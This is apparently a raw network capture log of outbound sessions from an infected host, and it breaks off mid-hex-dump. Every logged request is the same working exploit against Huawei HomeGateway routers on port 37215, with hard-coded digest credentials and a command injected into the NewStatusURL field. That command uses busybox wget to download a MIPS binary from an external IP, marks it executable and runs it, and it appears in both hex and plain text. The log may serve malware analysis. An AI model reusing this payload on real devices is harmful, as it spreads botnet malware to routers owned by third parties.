Jan 1, 2024 12:53:20.124691963 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	60540	154.201.25.255	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:21.418776035 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:25.596671104 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:31.740672112 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:43.772620916 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:07.836688995 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:56.988538980 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	36964	156.254.67.112	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:21.418780088 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:25.596682072 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:31.740653992 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 